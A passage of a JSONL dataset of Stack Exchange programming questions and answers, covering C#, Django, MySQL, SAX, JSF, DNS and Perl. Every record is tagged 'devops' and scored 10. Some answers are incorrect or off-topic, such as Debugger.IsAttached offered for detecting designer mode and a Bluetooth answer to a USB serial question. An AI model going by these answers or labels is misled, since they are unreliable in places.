switch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.920435"}
{"id": "hf_e6a05d378f42", "question": "<p>How can I redirect the response to an IFrame?</p>\n", "question_body": "", "answer": ". . . not totally sure what your trying to do, but you normally control the source of an iframe through javascript", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.953073"}
{"id": "hf_091079b71f60", "question": "<p>Are there any programs or IDEs that support refactoring for Ruby or RoR?</p>\n", "question_body": "", "answer": "I believe net-beans and eclipse both support some refactoring within their 'ruby-mode' - also the emacs code browser (ECB)  and the various ruby support tools (e.g. rinari) for emacs have some support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.975723"}
{"id": "hf_c25338772051", "question": "<p>I have been researching asynchronous messaging, and I like the way it elegantly deals with some problems within certain domains and how it makes domain concepts more explicit. But is it a viable pattern for general domain-driven development (at least in the service/application/controller layer), or is the design overhead such that it should be restricted to SOA-based scenarios, like remote services and distributed processing? </p>\n", "question_body": "", "answer": "Great question :). The main problem with asynchronous messaging is that when folks use procedural or object oriented languages, working in an asynchronous or event based manner is often quite tricky and complex and hard for the programmer to read & understand. Business logic is often way simpler if its built in a kinda synchronous manner - invoking methods and getting results immediately etc :).\nMy rule of thumb is generally to try use simpler synchronous programming models at the micro level for business logic; then use asynchrony and SEDA at the macro level.\nFor example submitting a purchase order might just write a message to a message queue; but the processing of the purchase order might require 10 different steps all being asynchronous and parallel in a high performance distributed system with many concurrent processes & threads processing individual steps in parallel. So the macro level wiring is based on a SEDA kind of approach - but at the micro level the code for the individual 10 steps could be written mostly in a synchronous programming style.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.999094"}
{"id": "hf_065c63d76516", "question": "<p>If I have an IEnumerator variable is it possible to have a lambda function that takes it, advances it with MoveNext() and returns the Current value every single time its called?</p>\n", "question_body": "", "answer": "A Lambda expression can contain complex statements, so you can do the following:\n```\n```\nFunc<IEnumerator, object> f = ie => { ie.MoveNext(); return ie.Current; };\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.034275"}
{"id": "hf_4cb4ad4b8741", "question": "<p>Using Django's built in models, how would one create a triple-join between three models.</p>\n\n<p>For example:</p>\n\n<ul>\n<li>Users, Roles, and Events are the models.</li>\n<li>Users have many Roles, and Roles many Users.  (ManyToMany)</li>\n<li>Events have many Users, and Users many Events. (ManyToMany)</li>\n<li>But for any given Event, any User may have only one Role.</li>\n</ul>\n\n<p>How can this be represented in the model?</p>\n", "question_body": "", "answer": "I'd recommend just creating an entirely separate model for this.\n```\n```\nclass Assignment(Model):\n    user = ForeignKey(User)\n    role = ForeignKey(Role)\n    event = ForeignKey(Event)\n```\n```\nThis lets you do all the usual model stuff, such as\n```\n```\nuser.assignment_set.filter(role__name=\"Chaperon\")\nrole.assignment_set.filter(event__name=\"Silly Walkathon\")\n```\n```\nThe only thing left is to enforce your one-role-per-user-per-event restriction.  You can do this in the Assignment class by either overriding the save method (\nhttp://docs.djangoproject.com/en/dev/topics/db/models/#overriding-predefined-model-methods\n) or using signals (\nhttp://docs.djangoproject.com/en/dev/topics/signals/\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.105783"}
{"id": "hf_31aa3b80b376", "question": "<p>I am trying to program a small server+client in Javascript on Firefox, using XPCOM.</p>\n\n<p>To get the HTTP message in Javascript, I am using the nsIScriptableInputStream interface.\nThis f**ing component through the read() method randomly cut the message and I cannot make it reliable.</p>\n\n<p>Is anybody know a solution to get reliably the information? (I already tried a binary stream, same failure.)</p>\n\n<p>J.</p>\n", "question_body": "", "answer": "If you control the protocol (that is, both the client and server) I would highly recommend using Javascript/JSON for your server-to-client messages.  The client can open a stream either via dynamically adding a <script> tag to the DOM.  The server can then send a stream of Javascript commands like:\n```\n```\nreceiveMsg({type:\"text\", content:\"this is my message\"});\n```\n```\nThen the client just needs to define a receiveMsg function. This allows you to rely on fast browser code to parse the message and determine where the end of each message is, at which point it will call your handler for you.\nEven if you're working with an existing HTTP protocol and can't use JSON, is there some reason you can't use XMLHttpRequest?  I would expect it to be more stable than some poorly documented Firefox-specific XPCOM interface.\n--Chouser", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.130024"}
{"id": "hf_740f207cfa71", "question": "<p>This is from an example accompanying the agsXMPP .Net assembly.  I've read up on delegates, but am not sure how that fits in with this line of code (which waits for the logon to occur, and then sends a message.  I guess what I'm looking for is an understanding of why <code>delegate(0)</code> accomplishes this, in the kind of simple terms I can understand.</p>\n\n<pre><code>xmpp.OnLogin += delegate(object o) { \n    xmpp.Send(new Message(new Jid(JID_RECEIVER), \n    MessageType.chat, \n    \"Hello, how are you?\")); \n};\n</code></pre>\n", "question_body": "", "answer": "That is creating an anonymous function.  This feature was introduced in C# 2.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.237855"}
{"id": "hf_1ceb2f2b48ac", "question": "<p>I'd really like to handle this without monkey-patching but I haven't been able to find another option yet.</p>\n\n<p>I have an array (in Ruby) that I need to sort by multiple conditions.  I know how to use the sort method and I've used the trick on sorting using an array of options to sort by multiple conditions.  However, in this case I need the first condition to sort ascending and the second to sort descending.  For example:</p>\n\n<pre><code>ordered_list = [[1, 2], [1, 1], [2, 1]]\n</code></pre>\n\n<p>Any suggestions?</p>\n\n<p>Edit:  Just realized I should mention that I can't easily compare the first and second values (I'm actually working with object attributes here).  So for a simple example it's more like:</p>\n\n<pre><code>ordered_list = [[1, \"b\"], [1, \"a\"], [2, \"a\"]]\n</code></pre>\n", "question_body": "", "answer": "How about:\n```\n```\nordered_list = [[1, \"b\"], [1, \"a\"], [2, \"a\"]]\nordered_list.sort! do |a,b|\n  [a[0],b[1]] <=> [b[0], a[1]]\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.273278"}
{"id": "hf_06dd06cae974", "question": "<p>I need to run a stored procedure from a C# application.</p>\n\n<p>I use the following code to do so:</p>\n\n<pre><code>Process sqlcmdCall = new Process();\nsqlcmdCall.StartInfo.FileName = \"sqlcmd.exe\";\nsqlcmdCall.StartInfo.Arguments = \"-S localhost\\\\SQLEXPRESS -d some_db -Q \\\":EXIT(sp_test)\\\"\"\nsqlcmdCall.Start();\nsqlcmdCall.WaitForExit();\n</code></pre>\n\n<p>From the sqlcmdCall object after the call completes, I currently get an ExitCode of -100 for success and of 1 for failure (i.e. missing parameter, stored proc does not exist, etc...).</p>\n\n<p>How can I customize these return codes?</p>\n\n<p>H.</p>\n", "question_body": "", "answer": "If you are trying to call a stored procedure from c# you would want to use ADO.Net instead of the calling sqlcmd via the command line.  Look at\n```\nSqlConnection\n```\nand\n```\nSqlCommand\n```\nin the\n```\nSystem.Data.SqlClient\n```\nnamespace.\nOnce you are calling the stored procedure via\n```\nSqlCommand\n```\nyou will be able to catch an exception raised by the stored procedure as well we reading the return value of the procedure if you need to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.338688"}
{"id": "hf_cb36f4328458", "question": "<p>I'm working with a fairly simple database, from a Java application.  We're trying to insert about 200k of text at a time, using the standard JDBC mysql adapter.  We intermittently get a <code>com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column error.</code></p>\n<p>The column type is <code>longtext</code>, and database collation is <code>UTF-8</code>.  The error shows up using both <code>MyISAM</code> and <code>InnoDB</code> table engines.  Max packet size has been set ot 1 GB on both client and server sides, so that shouldn't be causing a problem, either.</p>\n", "question_body": "", "answer": "Well you can make it ignore the error by doing an INSERT IGNORE which will just truncate the data and insert it anyway. (from\nhttp://dev.mysql.com/doc/refman/5.0/en/insert.html\n)\nIf you use the IGNORE keyword, errors\n  that occur while executing the INSERT\n  statement are treated as warnings\n  instead. For example, without IGNORE,\n  a row that duplicates an existing\n  UNIQUE index or PRIMARY KEY value in\n  the table causes a duplicate-key error\n  and the statement is aborted. With\n  IGNORE, the row still is not inserted,\n  but no error is issued. Data\n  conversions that would trigger errors\n  abort the statement if IGNORE is not\n  specified. With IGNORE, invalid values\n  are adjusted to the closest values and\n  inserted; warnings are produced but\n  the statement does not abort.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.483639"}
{"id": "hf_7b1290078d30", "question": "<p>For a System.Windows.Forms.TextBox with Multiline=True, I'd like to only show the scrollbars when the text doesn't fit.</p>\n\n<p>This is a readonly textbox used only for display.  It's a TextBox so that users can copy the text out. Is there anything built-in to support auto show of scrollbars? If not, should I be using a different control? Or do I need to hook TextChanged and manually check  for overflow (if so, how to tell if the text fits?)</p>\n\n<hr/>\n\n<p>Not having any luck with various combinations of WordWrap and Scrollbars settings.  I'd like to have no scrollbars initially and have each appear dynamically only if the text doesn't fit in the given direction.</p>\n\n<hr/>\n\n<p>@nobugz, thanks, that works when WordWrap is disabled. I'd prefer not to disable wordwrap, but it's the lesser of two evils.</p>\n\n<hr/>\n\n<p>@André Neves, good point, and I would go that way if it was user-editable.  I agree that consistency is the cardinal rule for UI intuitiveness.</p>\n", "question_body": "", "answer": "I also made some experiments, and found that the vertical bar will always show if you enable it, and the horizontal bar always shows as long as it's enabled and\n```\nWordWrap == false\n```\n.\nI think you're not going to get exactly what you want here. However, I believe that users would like better Windows' default behavior than the one you're trying to force. If I were using your app, I probably would be bothered if my textbox real-estate suddenly shrinked just because it needs to accomodate an unexpected scrollbar because I gave it too much text!\nPerhaps it would be a good idea just to let your application follow Windows' look and feel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.529358"}
{"id": "hf_e9acb1628622", "question": "<p>I have been working on some legacy C++ code that uses variable length structures (TAPI), where the structure size will depend on variable length strings. The structures are allocated by casting array <code>new</code> thus:</p>\n\n<pre class=\"lang-cpp prettyprint-override\"><code>STRUCT* pStruct = (STRUCT*)new BYTE[sizeof(STRUCT) + nPaddingSize];\n</code></pre>\n\n<p>Later on however the memory is freed using a <code>delete</code> call:</p>\n\n<pre class=\"lang-cpp prettyprint-override\"><code>delete pStruct;\n</code></pre>\n\n<p>Will this mix of array <code>new[]</code> and non-array <code>delete</code> cause a memory leak or would it depend on the compiler?  Would I be better off changing this code to use <code>malloc</code> and <code>free</code> instead?</p>\n", "question_body": "", "answer": "Yes that may, since your allocating with new[] but deallocating with delelte, yes malloc/free is safer here, but in c++ you should not use them since they won't handle (de)constructors.\nAlso your code will call the deconstructor, but not the constructor. For some structs this may cause a memory leak (if the constructor allocated further memory, eg for a string)\nBetter would be to do it correctly, as this will also correctly call any constructors and deconstructors\n```\n```\nSTRUCT* pStruct = new STRUCT;\n...\ndelete pStruct;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.593785"}
{"id": "hf_49e604e4d9ba", "question": "<p>Are there any utilities or browser plugins that let you easily switch the version of the Flash player that is being used?</p>\n", "question_body": "", "answer": "Found the following:\nhttp://www.google.be/search?q=firefox%20switch%20flash%20version\nhttp://www.sephiroth.it/weblog/archives/2006/10/flash_switcher_for_firefox.php\n(seems nice)\nhttp://www.communitymx.com/content/article.cfm?page=2&cid=6FBA7\n(seems nicely integrated as well)\nhttps://addons.mozilla.org/nl/firefox/addon/5044\n(from mozilla.org, must be good :p)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.617582"}
{"id": "hf_353783f1e5e9", "question": "<p>I want to use a specific foreign language font for a Blackberry application.  How is such a font created and loaded onto the Blackberry device?</p>\n\n<p>For example: ਪੰਜਾਬੀ </p>\n", "question_body": "", "answer": "A quick google search shows that the same thing has been asked at\nblackberry forums\n.\nThe solution they came up with is a class for loading the font from a\nfnt file\n.\nThere are\nprograms available\nto import and edit fnt files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.664831"}
{"id": "hf_13173d15e045", "question": "<p>I get asked this question a lot and I thought I'd solicit some input on how to best describe the difference.</p>\n", "question_body": "", "answer": "Well, the really oversimplified version is that a lambda is just shorthand for an anonymous function.  A delegate can do a lot more than just anonymous functions: things like events, asynchronous calls, and multiple method chains.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.724501"}
{"id": "hf_1e42a13249d3", "question": "<p>If a user saves the password on the login form, ff3 is putting the saved password in the change password dialoge on the profile page, even though its <strong>not the same input name</strong> as the login. how can I prevent this?</p>\n", "question_body": "", "answer": "Try using autocomplete=\"off\" as an attribute of the text box. I've used it in the past to stop credit card details being stored by the browser but i dont know if it works with passwords. e.g.\n```\nprint(\"<input type=\"text\" name=\"cc\" autocomplete=\"off\" />\");\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.751455"}
{"id": "hf_cdc2aed74160", "question": "<p>Looking for a way to read the unique ID / serial# of a USB thumb drive;\nplease note that<br>\n- I am looking for the value of the manufacturer, not the one Windows allocates for it.<br>\n- I need to support multiple OS (Windows, Unix, Mac), thus needs to be a Java solution</p>\n\n<p>The idea is to be able to distinguish between different USB thumb drives.</p>\n", "question_body": "", "answer": "I've never tried using it (it's been on my todo list for a good few months now), but there is the \"marge\" project on java.net:\nhttp://marge.java.net/\nThis should let you connect to bluetooth devices (although I don't think it is 100% feature complete, there is demo code on there), and then the ClientDevice class has a \"getBluetoothAddress\" method which I\nbelieve\nshould be unique to that device\nhttp://marge.java.net/javadoc/v06/marge-core/net/java/dev/marge/entity/ClientDevice.html\nAs I say though, I've never tried it...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.811335"}
{"id": "hf_b6cf748d8ca9", "question": "<p>What is the difference between Introspection and Reflection in .NET</p>\n", "question_body": "", "answer": "They're two parts of the same whole.\nIntrospection refers to the ability of a class to look 'inside' itself and see, for example, what parameters a method takes, what the names of its members are, etc.\nReflection is the specific name for how .NET implements introspection.  Other languages may call it something different (C++ calls its limited introspection RTTI, for run-time type information).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.906496"}
{"id": "hf_b03821eed64c", "question": "<p>Is there an easy way to convert a string from csv format into a string[] or list?  </p>\n\n<p>I can guarantee that there are no commas in the data.</p>\n", "question_body": "", "answer": "```\n```\nCsvString.split(',');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.953598"}
{"id": "hf_5122a53d8a8e", "question": "<p>Does a caching-nameserver usually cache the negative DNS response SERVFAIL? </p>\n\n<p>EDIT:\nTo clarify the question, I can see the caching nameserver caching negative responses NXDOMAIN, NODATA. But it does not do this for SERVFAIL responses. Is this intentional?</p>\n", "question_body": "", "answer": "One of the timeout fields in the SOA is a \"negative timeout\". It is usually set to a short time, such as 30 or 60 seconds. So, yes, but for a shorter time than a \"positive\" response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:34.988195"}
{"id": "hf_4d3be524862a", "question": "<p>What's the most efficient way to convert the output of this function from a varbinary() to a a varchar()?</p>\n", "question_body": "", "answer": "How about this:\n```\n```\nmaster.sys.fn_varbintohexstr(@binvalue)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.011788"}
{"id": "hf_9b441273784d", "question": "<p>We use SAX to parse XML because it does not require the entire XML document to be read into memory in order to parse a single value. I read many articles that insisted SAX can only be used to parse/decode XML and not create it. Is this true?</p>\n", "question_body": "", "answer": "No, it isn't true, you can encode XML to any Writer in Java using something similar to:\n```\n```\nchar[] ch;\nAttributesImpl atts = new AttributesImpl();\nWriter writer = new StringWriter();\nStreamResult streamResult = new StreamResult(writer);\nSAXTransformerFactory tf = (SAXTransformerFactory) TransformerFactory.newInstance();\n\n// SAX2.0 ContentHandler\nTransformerHandler transformerHandler = tf.newTransformerHandler();\n\nTransformer serializer = transformerHandler.getTransformer();\n\nserializer.setOutputProperty(OutputKeys.ENCODING, \"UTF-8\");\n// serializer.setOutputProperty(OutputKeys.DOCTYPE_SYSTEM, \"nodes.dtd\");\nserializer.setOutputProperty(OutputKeys.INDENT, \"yes\");\n\ntransformerHandler.setResult(streamResult);\n\ntransformerHandler.startDocument();\n\natts.clear();\n// atts.addAttribute(\"\", \"\", \"xmlns\", \"CDATA\", \"http://www.example.com/nodes\");\n// atts.addAttribute(\"\", \"\", \"xmlns:xsi\", \"CDATA\", \"http://www.w3.org/2001/XMLSchema-instance\");\n// atts.addAttribute(\"\", \"\", \"xsi:schemaLocation\", \"CDATA\", \"/nodes.xsd\");\ntransformerHandler.startElement(\"\", \"\", \"node_list\", atts);\n\n// displayName element\nif (displayName != null) {\n    transformerHandler.startElement(\"\", \"\", \"display_name\", null);\n    ch = displayName.toCharArray();\n    transformerHandler.characters(ch, 0, ch.length);\n    transformerHandler.endElement(\"\", \"\", \"display_name\");\n}\n\n// nodes element\ntransformerHandler.startElement(\"\", \"\", \"nodes\", null);\n\natts.clear();\natts.addAttribute(\"\", \"\", \"node_type\", \"CDATA\", \"sometype\");\ntransformerHandler.startElement(\"\", \"\", \"node\", atts);\n\nch = node.getValue().toCharArray();\ntransformerHandler.startElement(\"\", \"\", \"value\", null);\ntransformerHandler.characters(ch, 0, ch.length);\ntransformerHandler.endElement(\"\", \"\", \"value\");\n\ntransformerHandler.endElement(\"\", \"\", \"node\");\n\ntransformerHandler.endElement(\"\", \"\", \"nodes\");\n\ntransformerHandler.endElement(\"\", \"\", \"node_list\");\n\ntransformerHandler.endDocument();\n\nString xml = writer.toString();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.095410"}
{"id": "hf_f560c1e81b83", "question": "<p>When I'm initializing a dialog, I'd like to select one of the radio buttons on the form.  I don't see a way to associate a Control variable using the Class Wizard, like you would typically do with CButtons, CComboBoxes, etc...</p>\n\n<p>Further, it doesn't like a CRadioButton class even exists.</p>\n\n<p>How can I select one of the several radio buttons?</p>\n", "question_body": "", "answer": "Radio buttons and check buttons are just buttons.  Use a\n```\nCButton\n```\ncontrol and use\n```\nGetCheck\n```\n/\n```\nSetCheck\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.154608"}
{"id": "hf_77b5466e9e5c", "question": "<p>I am getting some errors thrown in my code when I open a Windows Forms form in Visual Studio's designer. I would like to branch in my code and perform a different initialization if the form is being opened by designer than if it is being run for real. </p>\n\n<p>How can I determine at run-time if the code is being executed as part of designer opening the form?</p>\n", "question_body": "", "answer": "```\n```\nSystem.Diagnostics.Debugger.IsAttached\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.190494"}
{"id": "hf_a3a06ec3d8ed", "question": "<p>In a silverlight application, I want to access the page the silverlight .xap file from an HTTP subdomain, but have the web services access a different subdomain for sensitive information over HTTPS.</p>\n\n<p>I set up clientaccesspolicy.xml at the root of the subdomain and it lets the silverlight app access its services over http, but not over https.  It gives the cross domain access error that it would give normally without a clientaccesspolicy in place.</p>\n\n<p>I know that browsers themselves have a lot of restrictions about mixing http and https.  Am I trying to do something that is not allowed?  </p>\n", "question_body": "", "answer": "Check out:\nhttp://silverlight.net/forums/t/12741.aspx\nYou can either make https calls to the\n  same domain or http cross-domain\n  calls, but not https cross-domain\n  calls.\nThis is described in\nhttp://msdn2.microsoft.com/en-us/library/cc189008(VS.95).aspx\n(see \"If not HTTPS\" in the matrix)\n  By JohnSpurlock", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.213748"}
{"id": "hf_743f764faafe", "question": "<p>I'm developing a client/server app that will communicate via rest. Some custom request data will be stored in the header of the request. Both the server sending the request and the receiving server have an SSL certificate - will the headers be encrypted, or just the content?</p>\n", "question_body": "", "answer": "SSL encrypts the entire communications path from the client to the server and back, so yes - the headers will be encrypted.\nBy the way, if you develop networked applications and care about data security, the least you should do is read a book like Practical Cryptography, by Niels Ferguson and Bruce Schneier, and probably further reading that's more focused on web application security would be a good idea. If I may make an observation - and please, I don't mean that as a personal criticism - your question indicates a fundamental lack of understanding of very basic web security technologies, and that's never a good sign.\nAlso, it's never a bad idea to confirm that data which is assumed to be encrypted is indeed encrypted. You can use a network analyzer to monitor traffic on the wire and watch out for anything sensitive being sent in the clear. I've used Wireshark to do this before - the results can be surprising, sometimes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.283736"}
{"id": "hf_466c9f60c3c3", "question": "<p>I have an List and I'd like to wrap it into an IQueryable.</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "```\n```\nList<int> list = new List<int>() { 1, 2, 3, 4, };\nIQueryable<int> query = list.AsQueryable();\n```\n```\nIf you don't see the\n```\nAsQueryable()\n```\nmethod, add a using statement for\n```\nSystem.Linq\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.318490"}
{"id": "hf_2b6706ad132c", "question": "<p>If you have a JSF <code>&lt;h:commandLink&gt;</code> (which uses the <code>onclick</code> event of an <code>&lt;a&gt;</code> to submit the current form), how do you execute JavaScript (such as asking for delete confirmation) prior to the action being performed?</p>\n", "question_body": "", "answer": "```\n```\n<h:commandLink id=\"myCommandLink\" action=\"#{myPageCode.doDelete}\">\n    <h:outputText value=\"#{msgs.deleteText}\" />\n</h:commandLink>\n<script type=\"text/javascript\">\nif (document.getElementById) {\n    var commandLink = document.getElementById('<c:out value=\"${myPageCode.myCommandLinkClientId}\" />');\n    if (commandLink && commandLink.onclick) {\n        var commandLinkOnclick = commandLink.onclick;\n        commandLink.onclick = function() {\n            var result = confirm('Do you really want to <c:out value=\"${msgs.deleteText}\" />?');\n            if (result) {\n                return commandLinkOnclick();\n            }\n            return false;\n        }\n    }\n}\n</script>\n```\n```\nOther Javascript actions (like validating form input etc) could be performed by replacing the call to\n```\nconfirm()\n```\nwith a call to another function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.388441"}
{"id": "hf_29a9d9a16322", "question": "<p>I have a string that is like below.</p>\n\n<pre><code>,liger, unicorn, snipe\n</code></pre>\n\n<p>in other languages I'm familiar with I can just do a string.trim(\",\") but how can I do that in c#?</p>\n\n<p>Thanks.</p>\n\n<hr>\n\n<p><em>There's been a lot of back and forth about the StartTrim function.  As several have pointed out, the StartTrim doesn't affect the primary variable.  However, given the construction of the data vs the question, I'm torn as to which answer to accept.  True the question only wants the first character trimmed off not the last (if anny), however, there would never be a \",\" at the end of the data.  So, with that said, I'm going to accept the first answer that that said to use StartTrim assigned to a new variable.</em></p>\n", "question_body": "", "answer": "```\n```\nif (s.StartsWith(\",\")) {\n    s = s.Substring(1, s.Length - 1);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.412029"}
{"id": "hf_493abb5583f0", "question": "<p>How can I start an interactive console for Perl, similar to the <code>irb</code> command for Ruby or <code>python</code> for Python?</p>\n", "question_body": "", "answer": "```\nperl -d\n```\nis your friend:\n```\n```\n% perl -de 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.471730"}
{"id": "hf_154742ef423a", "question": "<p>The following will cause infinite recursion on the == operator overload method</p>\n\n<pre><code>    Foo foo1 = null;\n    Foo foo2 = new Foo();\n    Assert.IsFalse(foo1 == foo2);\n\n    public static bool operator ==(Foo foo1, Foo foo2) {\n        if (foo1 == null) return foo2 == null;\n        return foo1.Equals(foo2);\n    }\n</code></pre>\n\n<p>How do I check for nulls?</p>\n", "question_body": "", "answer": "Cast to object in the overload method:\n```\n```\npublic static bool operator ==(Foo foo1, Foo foo2) {\n    if ((object) foo1 == null) return (object) foo2 == null;\n    return foo1.Equals(foo2);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.534716"}
